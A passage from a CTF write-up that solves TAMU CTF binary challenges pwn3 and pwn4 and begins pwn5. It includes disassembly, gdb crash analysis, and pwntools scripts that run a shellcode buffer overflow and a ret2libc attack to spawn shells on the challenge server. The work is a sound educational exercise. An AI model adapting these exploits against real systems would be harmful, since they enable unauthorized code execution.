char *s);\r\n|           0x08048554      83c410         add esp, 0x10\r\n|           0x08048557      83ec0c         sub esp, 0xc\r\n|           0x0804855a      6860860408     push str.Changelog:_n__Less_deprecated_flag_printing_functions__n__New_Random_Number_Generator__n ; str.Changelog:_n__Less_deprecated_flag_printing_functions__n__New_Random_Number_Generator__n ; &quot;Changelog:.- Less deprecated flag printing functions!.- New Random Number Generator!.&quot; @ 0x8048660\r\n|           0x0804855f      e82cfeffff     call sym.imp.puts          ; int puts(const char *s);\r\n|           0x08048564      83c410         add esp, 0x10\r\n|           0x08048567      e85fffffff     call sym.echo\r\n|           0x0804856c      b800000000     mov eax, 0\r\n|           0x08048571      8b4dfc         mov ecx, dword &#x5B;ebp - local_4h_2]\r\n|           0x08048574      c9             leave\r\n|           0x08048575      8d61fc         lea esp, dword &#x5B;ecx - 4]\r\n\\           0x08048578      c3             ret\r\n<\/pre>\n<p>No input is read here yet, but again a function named <code>sym.echo<\/code> is called:<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [10,11,12,13,20,21,22]; title: ; notranslate\" title=\"\">\r\n&#x5B;0x080483d0]&gt; pdf @ sym.echo \r\n\/ (fcn) sym.echo 87\r\n|   sym.echo ();\r\n|           ; var int local_eeh @ ebp-0xee\r\n|           ; CALL XREF from 0x08048567 (sym.main)\r\n|           0x080484cb      55             push ebp\r\n|           0x080484cc      89e5           mov ebp, esp\r\n|           0x080484ce      81ecf8000000   sub esp, 0xf8\r\n|           0x080484d4      83ec08         sub esp, 8\r\n|           0x080484d7      8d8512ffffff   lea eax, dword &#x5B;ebp - local_eeh]\r\n|           0x080484dd      50             push eax\r\n|           0x080484de      6800860408     push str.Your_random_number__p__n ; str.Your_random_number__p__n ; &quot;Your random number %p!.&quot; @ 0x8048600\r\n|           0x080484e3      e888feffff     call sym.imp.printf        ; int printf(const char *format);\r\n|           0x080484e8      83c410         add esp, 0x10\r\n|           0x080484eb      83ec0c         sub esp, 0xc\r\n|           0x080484ee      6818860408     push str.Now_what_should_I_echo_ ; str.Now_what_should_I_echo_ ; &quot;Now what should I echo? &quot; @ 0x8048618\r\n|           0x080484f3      e878feffff     call sym.imp.printf        ; int printf(const char *format);\r\n|           0x080484f8      83c410         add esp, 0x10\r\n|           0x080484fb      83ec0c         sub esp, 0xc\r\n|           0x080484fe      8d8512ffffff   lea eax, dword &#x5B;ebp - local_eeh]\r\n|           0x08048504      50             push eax\r\n|           0x08048505      e876feffff     call sym.imp.gets          ; char*gets(char *s);\r\n|           0x0804850a      83c410         add esp, 0x10\r\n|           0x0804850d      83ec0c         sub esp, 0xc\r\n|           0x08048510      8d8512ffffff   lea eax, dword &#x5B;ebp - local_eeh]\r\n|           0x08048516      50             push eax\r\n|           0x08048517      e874feffff     call sym.imp.puts          ; int puts(const char *s);\r\n|           0x0804851c      83c410         add esp, 0x10\r\n|           0x0804851f      90             nop\r\n|           0x08048520      c9             leave\r\n\\           0x08048521      c3             ret\r\n&#x5B;0x080483d0]&gt; \r\n<\/pre>\n<p>On the first highlighted lines the <code>random number<\/code> is printed using <code>printf<\/code>. Within the format string for <code>printf<\/code> the format specifier <code>%p<\/code> is used, which prints an address. On the lines before the call this address in pushed on the stack: <code>ebp - local_eeh<\/code>. We will found out what this is shortly.<\/p>\n<p>On the second highlighted lines the function <code>gets<\/code> is called. As we already know this function is vulnerable to buffer overflows. Take a look at the buffer being passed on the stack before the function call: <code>ebp - local_eeh<\/code>. This is exactly the address which is printed beforehand as the so called <code>random number<\/code>! This means that we know the exact location of the buffer for our input on the stack. If we store a shellcode in the buffer and leverage <code>gets<\/code> to overwrite the return address, we can make the instruction pointer point to our shellcode.<\/p>\n<p>At first we calculate the offset to the return address using the same technique as we used for <code>pwn2<\/code>:<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [1,3,13,24,27,39,40,41,42]; title: ; notranslate\" title=\"\">\r\ngdb-peda$ pattern create 300 \/tmp\/pattern_pwn3\r\nWriting pattern of 300 chars to filename &quot;\/tmp\/pattern_pwn3&quot;\r\ngdb-peda$ r &lt; \/tmp\/pattern_pwn3\r\nStarting program: \/root\/Downloads\/pwn_tamu\/pwn3 &lt; \/tmp\/pattern_pwn3\r\nWelcome to the New Echo application 2.0!\r\nChangelog:\r\n- Less deprecated flag printing functions!\r\n- New Random Number Generator!\r\n\r\nYour random number 0xffffd24a!\r\nNow what should I echo? AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%\r\n\r\nProgram received signal SIGSEGV, Segmentation fault.\r\n\r\n&#x5B;----------------------------------registers-----------------------------------]\r\nEAX: 0x12d \r\nEBX: 0x0 \r\nECX: 0xf7faddc7 --&gt; 0xfae8940a \r\nEDX: 0xf7fae894 --&gt; 0x0 \r\nESI: 0xf7fad000 --&gt; 0x1cfd70 \r\nEDI: 0x0 \r\nEBP: 0x41612541 ('A%aA')\r\nESP: 0xffffd340 (&quot;FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%&quot;)\r\nEIP: 0x25413025 ('%0A%')\r\nEFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)\r\n&#x5B;-------------------------------------code-------------------------------------]\r\nInvalid $PC address: 0x25413025\r\n&#x5B;------------------------------------stack-------------------------------------]\r\n0000| 0xffffd340 (&quot;FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%&quot;)\r\n0004| 0xffffd344 (&quot;A%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%&quot;)\r\n0008| 0xffffd348 (&quot;%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%&quot;)\r\n0012| 0xffffd34c (&quot;cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%&quot;)\r\n0016| 0xffffd350 (&quot;A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%&quot;)\r\n0020| 0xffffd354 (&quot;%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%&quot;)\r\n0024| 0xffffd358 (&quot;3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%&quot;)\r\n0028| 0xffffd35c (&quot;A%eA%4A%JA%fA%5A%KA%gA%6A%&quot;)\r\n&#x5B;------------------------------------------------------------------------------]\r\nLegend: code, data, rodata, value\r\nStopped reason: SIGSEGV\r\n0x25413025 in ?? ()\r\ngdb-peda$ pattern offset $eip\r\n625029157 found at offset: 242\r\n<\/pre>\n<p>The offset from the buffer where our input is stored to the return address is 242 byte.<\/p>\n<p>We can now write a python-script which stores a shellcode in the buffer and overwrites the return address with the <code>random number<\/code> printed by the program, which is - as we figured out - the address of our buffer.<\/p>\n<pre class=\"brush: python; first-line: 0; title: ; notranslate\" title=\"\">\r\nroot@kali:~\/Downloads\/pwn_tamu# cat pwn3.py \r\nfrom pwn import *\r\n\r\nshellcode = &quot;\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e&quot;\\\r\n            &quot;\\x89\\xe3\\x89\\xc1\\x89\\xc2\\xb0\\x0b\\xcd\\x80\\x31\\xc0\\x40&quot;\\\r\n            &quot;\\xcd\\x80&quot;\r\n\r\np = remote(&quot;pwn.ctf.tamu.edu&quot;, 4323)\r\n\r\nret = p.recvuntil(&quot;echo?&quot;)\r\naddr_buf = int(ret&#x5B;0x94:0x9c], 16)   # the output contains the address of our buffer (&quot;random number&quot;)\r\n\r\nexpl = &quot;\\x90&quot; * (242 - 20 - len(shellcode))  # nop-sled\r\nexpl += shellcode                            # shellcode\r\nexpl += &quot;\\x90&quot; * 20                          # fill-bytes\r\nexpl += p32(addr_buf)                        # overwrite return address\r\np.sendline(expl)\r\np.recv(1000)\r\np.recv(1000)\r\n\r\np.interactive()\r\n<\/pre>\n<p>For the shellcode I simply took one from <a href=\"http:\/\/shell-storm.org\/shellcode\/files\/shellcode-811.php\" target=\"_blank\" rel=\"noopener\">shell-storm.org<\/a> which makes a syscall to <code>execve<\/code> passing the string <code>\"\/bin\/sh\"<\/code> (for more details on shellcoding see <a href=\"https:\/\/devel0pment.de\/?p=317\" target=\"_blank\" rel=\"noopener\">my writeup for RPISEC\/MBE lab03<\/a>.<\/p>\n<p>Running the script spawns a shell on the server and we can read the flag:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nroot@kali:~\/Downloads\/pwn_tamu# python pwn3.py \r\n&#x5B;+] Opening connection to pwn.ctf.tamu.edu on port 4323: Done\r\n&#x5B;*] Switching to interactive mode\r\n$ whoami\r\npwnuser\r\n$ ls -al\r\ntotal 20\r\ndrwxr-xr-x  2 pwnflag pwnflag 4096 Feb  9 17:02 .\r\ndrwxr-xr-x 46 root    root    4096 Feb 17 07:01 ..\r\n-r--r--r--  1 pwnflag pwnflag   34 Feb  9 04:32 flag.txt\r\n-rwsr-xr-x  1 pwnflag pwnflag 7520 Feb  9 04:32 pwn3\r\n$ cat flag.txt\r\ngigem{n0w_w3_4r3_g377in6_s74r73d}\r\n<\/pre>\n<p>Done \ud83d\ude42 The flag is <code>gigem{n0w_w3_4r3_g377in6_s74r73d}<\/code>.<\/p>\n<hr \/>\n<h1 id=\"pwn4\">pwn4 (125 pts)<\/h1>\n<p>As usual we start by checking which security mechanisms are enabled using <code>checksec<\/code>:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nroot@kali:~\/Downloads\/pwn_tamu# checksec pwn4\r\n&#x5B;*] '\/root\/Downloads\/pwn_tamu\/pwn4'\r\n    Arch:     i386-32-little\r\n    RELRO:    Partial RELRO\r\n    Stack:    No canary found\r\n    NX:       NX enabled\r\n    PIE:      No PIE (0x8048000)\r\n<\/pre>\n<p>Nothing suspicious here. Just like the last three binaries there is no stack canary, which means that we can probably leverage a buffer overflow on the stack.<\/p>\n<p>When running the program we can choose four different shell-commands to be executed:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nroot@kali:~\/Downloads\/pwn_tamu# .\/pwn4\r\nI am a reduced online shell\r\nYour options are:\r\n1. ls\r\n2. cal\r\n3. pwd\r\n4. whoami\r\n5. exit\r\nInput&gt; 4\r\nroot\r\n\r\nI am a reduced online shell\r\nYour options are:\r\n1. ls\r\n2. cal\r\n3. pwd\r\n4. whoami\r\n5. exit\r\nInput&gt; 5\r\n<\/pre>\n<p>Let's have a look at the disassembly:<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [10,22,23,24,25,26]; title: ; notranslate\" title=\"\">\r\nroot@kali:~\/Downloads\/pwn_tamu# r2 pwn4\r\n&#x5B;0x08048490]&gt; aaa\r\n...\r\n&#x5B;0x08048490]&gt; afl\r\n0x080483b4    3 35           sym._init\r\n0x080483f0    1 6            sym.imp.strcmp\r\n0x08048400    1 6            sym.imp.printf\r\n0x08048410    1 6            sym.imp.gets\r\n0x08048420    1 6            sym.imp.puts\r\n0x08048430    1 6            sym.imp.system\r\n0x08048440    1 6            sym.imp.exit\r\n0x08048450    1 6            sym.imp.__libc_start_main\r\n0x08048460    1 6            sym.imp.setvbuf\r\n0x08048470    1 6            sym.imp.putchar\r\n0x08048480    1 6            sub.__gmon_start___252_480\r\n0x08048490    1 33           entry0\r\n0x080484c0    1 4            sym.__x86.get_pc_thunk.bx\r\n0x080484d0    4 43           sym.deregister_tm_clones\r\n0x08048500    4 53           sym.register_tm_clones\r\n0x08048540    3 30           sym.__do_global_dtors_aux\r\n0x08048560    4 43   -&gt; 40   sym.frame_dummy\r\n0x0804858b    1 25           sym.ls\r\n0x080485a4    1 25           sym.cal\r\n0x080485bd    1 25           sym.pwd\r\n0x080485d6    1 25           sym.whoami\r\n0x080485ef   17 404          sym.reduced_shell\r\n0x08048783    2 37   -&gt; 44   sym.main\r\n0x080487b0    4 93           sym.__libc_csu_init\r\n0x08048810    1 2            sym.__libc_csu_fini\r\n0x08048814    1 20           sym._fini\r\n<\/pre>\n<p>We can see that the libc function <code>system<\/code> is included, probably in order to execute the commands. For each command there is a user defined function (<code>sym.ls<\/code>, <code>sym.cal<\/code>, ...).<\/p>\n<p>Let's have a look at the <code>main<\/code> function:<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [22]; title: ; notranslate\" title=\"\">\r\n&#x5B;0x08048490]&gt; pdf @ sym.main\r\n            ;-- main:\r\n\/ (fcn) sym.main 44\r\n|   sym.main ();\r\n|           ; var int local_4h @ esp+0x4\r\n|           ; DATA XREF from 0x080484a7 (entry0)\r\n|           0x08048783      8d4c2404       lea ecx, dword &#x5B;esp + local_4h] ; 0x4\r\n|           0x08048787      83e4f0         and esp, 0xfffffff0\r\n|           0x0804878a      ff71fc         push dword &#x5B;ecx - 4]\r\n|           0x0804878d      55             push ebp\r\n|           0x0804878e      89e5           mov ebp, esp\r\n|           0x08048790      51             push ecx\r\n|           0x08048791      83ec04         sub esp, 4\r\n|           0x08048794      a140a00408     mov eax, dword &#x5B;obj.stdout] ; &#x5B;0x804a040:4]=0x3a434347 LEA obj.stdout ; &quot;GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.5) 5.4.0 20160609&quot; @ 0x804a040\r\n|           0x08048799      6a00           push 0\r\n|           0x0804879b      6a00           push 0\r\n|           0x0804879d      6a02           push 2\r\n|           0x0804879f      50             push eax\r\n|           0x080487a0      e8bbfcffff     call sym.imp.setvbuf       ; int setvbuf(FILE*stream, char*buf, int mode, size_t size);\r\n\\           0x080487a5      83c410         add esp, 0x10\r\n|           ; JMP XREF from 0x080487ad (sym.main)\r\n|       .-&gt; 0x080487a8      e842feffff     call sym.reduced_shell\r\n|       `=&lt; 0x080487ad      ebf9           jmp 0x80487a8\r\n<\/pre>\n<p>There is basically only a call to <code>sym.reduced_shell<\/code>. So let's proceed there:<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [28,38]; title: ; notranslate\" title=\"\">\r\n&#x5B;0x08048490]&gt; pdf @ sym.reduced_shell \r\n\/ (fcn) sym.reduced_shell 404\r\n|   sym.reduced_shell ();\r\n|           ; var int local_1ch @ ebp-0x1c\r\n|           ; CALL XREF from 0x080487a8 (sym.main)\r\n|           0x080485ef      55             push ebp\r\n|           0x080485f0      89e5           mov ebp, esp\r\n|           0x080485f2      83ec28         sub esp, 0x28               ; '('\r\n|           0x080485f5      83ec0c         sub esp, 0xc\r\n|           0x080485f8      6842880408     push str.I_am_a_reduced_online_shell ; str.I_am_a_reduced_online_shell ; &quot;I am a reduced online shell&quot; @ 0x8048842\r\n|           0x080485fd      e81efeffff     call sym.imp.puts          ; int puts(const char *s);\r\n|           0x08048602      83c410         add esp, 0x10\r\n|           0x08048605      83ec0c         sub esp, 0xc\r\n|           0x08048608      685e880408     push str.Your_options_are: ; str.Your_options_are: ; &quot;Your options are:&quot; @ 0x804885e\r\n|           0x0804860d      e80efeffff     call sym.imp.puts          ; int puts(const char *s);\r\n|           0x08048612      83c410         add esp, 0x10\r\n|           0x08048615      83ec0c         sub esp, 0xc\r\n|           0x08048618      6870880408     push str.1._ls_n2._cal_n3._pwd_n4._whoami_n5._exit ; str.1._ls_n2._cal_n3._pwd_n4._whoami_n5._exit ; &quot;1. ls.2. cal.3. pwd.4. whoami.5. exit&quot; @ 0x8048870\r\n|           0x0804861d      e8fefdffff     call sym.imp.puts          ; int puts(const char *s);\r\n|           0x08048622      83c410         add esp, 0x10\r\n|           0x08048625      83ec0c         sub esp, 0xc\r\n|           0x08048628      6896880408     push str.Input_ ; str.Input_ ; &quot;Input&gt; &quot; @ 0x8048896\r\n|           0x0804862d      e8cefdffff     call sym.imp.printf        ; int printf(const char *format);\r\n|           0x08048632      83c410         add esp, 0x10\r\n|           0x08048635      83ec0c         sub esp, 0xc\r\n|           0x08048638      8d45e4         lea eax, dword &#x5B;ebp - local_1ch]\r\n|           0x0804863b      50             push eax\r\n|           0x0804863c      e8cffdffff     call sym.imp.gets          ; char*gets(char *s);\r\n...\r\n|    ||||   0x0804870d      68a4880408     push 0x80488a4\r\n|    ||||   0x08048712      8d45e4         lea eax, dword &#x5B;ebp - local_1ch]\r\n|    ||||   0x08048715      50             push eax\r\n|    ||||   0x08048716      e8d5fcffff     call sym.imp.strcmp        ; int strcmp(const char *s1, const char *s2);\r\n|    ||||   0x0804871b      83c410         add esp, 0x10\r\n|    ||||   0x0804871e      85c0           test eax, eax\r\n|   ,=====&lt; 0x08048720      7507           jne 0x8048729\r\n|   |||||   ; JMP XREF from 0x08048708 (sym.reduced_shell)\r\n|   |`----&gt; 0x08048722      e8affeffff     call sym.whoami\r\n...\r\n|           0x08048781      c9             leave\r\n\\           0x08048782      c3             ret\r\n<\/pre>\n<p>I truncated the output a little bit. The most important fact is that yet again <code>gets<\/code> is used the read the user input. This user input is compared to the available commands using <code>strcmp<\/code>. If the comparison succeeds the corresponding user defined function is called (for example <code>sym.whoami<\/code>):<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\n&#x5B;0x08048490]&gt; pdf @ sym.whoami \r\n\/ (fcn) sym.whoami 25\r\n|   sym.whoami ();\r\n|           ; CALL XREF from 0x08048722 (sym.reduced_shell)\r\n|           0x080485d6      55             push ebp\r\n|           0x080485d7      89e5           mov ebp, esp\r\n|           0x080485d9      83ec08         sub esp, 8\r\n|           0x080485dc      83ec0c         sub esp, 0xc\r\n|           0x080485df      683b880408     push str.whoami ; str.whoami ; &quot;whoami&quot; @ 0x804883b\r\n|           0x080485e4      e847feffff     call sym.imp.system        ; int system(const char *string);\r\n|           0x080485e9      83c410         add esp, 0x10\r\n|           0x080485ec      90             nop\r\n|           0x080485ed      c9             leave\r\n\\           0x080485ee      c3             ret\r\n<\/pre>\n<p>Within <code>sym.whoami<\/code> the libc function <code>system<\/code> is called passing the string <code>\"whoami\"<\/code>. This way the command <code>whoami<\/code> is executed.<\/p>\n<p>Since our goal is to get a shell, we would like to call <code>system<\/code> passing the string <code>\"\/bin\/sh\"<\/code>.<\/p>\n<p>We have already seen that <code>gets<\/code> might be vulnerable to a buffer overflow. Thus we can use the same technique we used for the first binaries:<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [1,3,15,26,29,41,42,43,44]; title: ; notranslate\" title=\"\">\r\ngdb-peda$ pattern create 300 \/tmp\/pattern_pwn4\r\nWriting pattern of 300 chars to filename &quot;\/tmp\/pattern_pwn4&quot;\r\ngdb-peda$ r &lt; \/tmp\/pattern_pwn4\r\nStarting program: \/root\/Downloads\/pwn_tamu\/pwn4 &lt; \/tmp\/pattern_pwn4\r\nI am a reduced online shell\r\nYour options are:\r\n1. ls\r\n2. cal\r\n3. pwd\r\n4. whoami\r\n5. exit\r\nInput&gt; Unkown Command\r\n\r\n\r\nProgram received signal SIGSEGV, Segmentation fault.\r\n\r\n&#x5B;----------------------------------registers-----------------------------------]\r\nEAX: 0xa ('\\n')\r\nEBX: 0x0 \r\nECX: 0xf7fae894 --&gt; 0x0 \r\nEDX: 0xa ('\\n')\r\nESI: 0xf7fad000 --&gt; 0x1cfd70 \r\nEDI: 0x0 \r\nEBP: 0x413b4141 ('AA;A')\r\nESP: 0xffffd340 (&quot;EAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A&quot;...)\r\nEIP: 0x41412941 ('A)AA')\r\nEFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)\r\n&#x5B;-------------------------------------code-------------------------------------]\r\nInvalid $PC address: 0x41412941\r\n&#x5B;------------------------------------stack-------------------------------------]\r\n0000| 0xffffd340 (&quot;EAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A&quot;...)\r\n0004| 0xffffd344 (&quot;AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%&quot;...)\r\n0008| 0xffffd348 (&quot;AFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0&quot;...)\r\n0012| 0xffffd34c (&quot;bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA&quot;...)\r\n0016| 0xffffd350 (&quot;AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%&quot;...)\r\n0020| 0xffffd354 (&quot;AcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%G&quot;...)\r\n0024| 0xffffd358 (&quot;2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA&quot;...)\r\n0028| 0xffffd35c (&quot;AAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%&quot;...)\r\n&#x5B;------------------------------------------------------------------------------]\r\nLegend: code, data, rodata, value\r\nStopped reason: SIGSEGV\r\n0x41412941 in ?? ()\r\ngdb-peda$ pattern offset $eip\r\n1094789441 found at offset: 32\r\n<\/pre>\n<p>We successfully overwrote the return address. This time the offset from the buffer to the return address is 32 byte.<\/p>\n<p>In order to get a shell with <code>pwn3<\/code> we placed a shellcode in the buffer and overwrote the return address with the address of this shellcode. Here we cannot do this because <code>NX<\/code> is enabled meaning that instructions stored on the stack will not be executed.<\/p>\n<p>To spawn a shell nonetheless we can use a technique called <i>return to libc (ret2libc)<\/i>. We simply overwrite the return address with a function from the libc and set up the stack just like on an ordinary function call.<\/p>\n<p>When a function is called, the arguments for the function are pushed on the stack (this depends on the calling convention but is true here). After this the <code>call<\/code> instruction pushes the return address on the stack, where the execution should proceed after the function call (the address following the function call). This way the stack looks like this when the function is entered:<\/p>\n<pre>\r\n[  RETURN ADDRESS ]    <--- ESP\r\n[    ARGUMENT 1   ]\r\n<\/pre>\n<p>This return address is not the return address we are going to overwrite! It is the return address of the function call to <code>system<\/code> we are going to make. This means that the execution proceeds at this address <u>after<\/u> the call to <code>system<\/code>. Because <code>system<\/code> will already spawn our shell, we do not really care where the execution proceeds afterwards and we can simply put some junk in here.<\/p>\n<p>Summing it up the final buffer we are going to use contains:<br \/>\n&#8211;&gt; 32 junk-bytes to reach the return address (offset)<br \/>\n&#8211;&gt; 4 bytes: address of <code>system<\/code> (this is the overwritten return address)<br \/>\n&#8211;&gt; 4 junk-bytes (return address after <code>system<\/code>)<br \/>\n&#8211;&gt; 4 bytes: argument to <code>system<\/code><\/p>\n<p>Since we want to pass the string <code>\"\/bin\/sh\"<\/code> to <code>system<\/code> we have to store this string somewhere. Luckily the string is already present within the binary:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\n&#x5B;0x08048490]&gt; \/ \/bin\/sh\r\nSearching 7 bytes from 0x08048000 to 0x0804a048: 2f 62 69 6e 2f 73 68 \r\nSearching 7 bytes in &#x5B;0x8048000-0x804a048]\r\nhits: 1\r\n0x0804a038 hit1_0 .fv\/bin\/shGCC: (Ubuntu 5..\r\n<\/pre>\n<p>Within <code>r2<\/code> we can search a string with a slash (<code>\/<\/code>). At the address <code>0x0804a038<\/code> the string <code>\"\/bin\/sh\"<\/code> has been found.<\/p>\n<p>Now we can write a python-script which will set up the buffer and input it to the program running on the ctf server:<\/p>\n<pre class=\"brush: python; first-line: 0; title: ; notranslate\" title=\"\">\r\nroot@kali:~\/Downloads\/pwn_tamu# cat pwn4.py \r\nfrom pwn import *\r\n\r\np = remote(&quot;pwn.ctf.tamu.edu&quot;, 4324)\r\n\r\np.recvuntil(&quot;Input&gt; &quot;)\r\n\r\naddr_binsh  = 0x804a038\r\naddr_system = 0x8048430 # system@plt\r\n\r\nexpl = &quot;A&quot; * 32\r\nexpl += p32(addr_system)\r\nexpl += &quot;JUNK&quot;\r\nexpl += p32(addr_binsh)\r\n\r\np.sendline(expl)\r\np.interactive()\r\n<\/pre>\n<p>Running the script calls <code>system(\"\/bin\/sh\")<\/code> spawning a shell:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nroot@kali:~\/Downloads\/pwn_tamu# python pwn4.py \r\n&#x5B;+] Opening connection to pwn.ctf.tamu.edu on port 4324: Done\r\n&#x5B;*] Switching to interactive mode\r\nUnkown Command\r\n\r\n$ whoami\r\npwnuser\r\n$ ls -al\r\ntotal 20\r\ndrwxr-xr-x  2 pwnflag pwnflag 4096 Feb  9 17:00 .\r\ndrwxr-xr-x 46 root    root    4096 Feb 17 11:05 ..\r\n-r--r--r--  1 pwnflag pwnflag   27 Feb  9 04:32 flag.txt\r\n-rwsr-xr-x  1 pwnflag pwnflag 7792 Feb  9 04:32 pwn4\r\n$ cat flag.txt\r\ngigem{b4ck_70_7h3_l1br4ry}\r\n<\/pre>\n<p>Done! The flag is <code>gigem{b4ck_70_7h3_l1br4ry}<\/code>.<\/p>\n<hr \/>\n<h1 id=\"pwn5\">pwn5 (200 pts)<\/h1>\n<p>We start by checking the enabled security mechanisms:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nroot@kali:~\/Downloads\/pwn_tamu# checksec pwn5\r\n&#x5B;*] '\/root\/Downloads\/pwn_tamu\/pwn5'\r\n    Arch:     i386-32-little\r\n    RELRO:    Partial RELRO\r\n    Stack:    No canary found\r\n    NX:       NX enabled\r\n    PIE:      No PIE (0x8048000)\r\n<\/pre>\n<p>Nothing special here. As well as the last binaries there is no stack canary.<\/p>\n<p>The program is a little text adventure:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nroot@kali:~\/Downloads\/pwn_tamu# .\/pwn5\r\nWelcome to the TAMU Text Adventure!\r\nYou are about to begin your journey at Texas A&amp;M as a student\r\nBut first tell me a little bit about yourself\r\nWhat is your first name?: ffff\r\nWhat is your last name?: llll\r\nWhat is your major?: mmmm\r\nAre you joining the Corps of Cadets?(y\/n): y\r\n\r\nWelcome, ffff llll, to Texas A&amp;M!\r\nYou wake with a start as your sophomore yells &quot;Wake up fish llll! Why aren't you with your buddies in the fallout hole?&quot;\r\nAs your sophomore slams your door close you quickly get dressed in pt gear and go to the fallout hole.\r\nYou spend your morning excersizing and eating chow.\r\nFinally your first day of class begins at Texas A&amp;M. What do you decide to do next?(Input option number)\r\n1. Go to class.\r\n2. Change your major.\r\n3. Skip class and sleep\r\n4. Study\r\n1\r\nYou go to class and sit front and center as the Corps academic advisors told you to do.\r\nAs the lecturer drones on about a topic that you don't quite understand in the field of mmmm you feel yourself beginning to drift off.\r\nYou wake with a start and find that you are alone in the lecture hall.\r\n<\/pre>\n<p>Let's have a look at it using 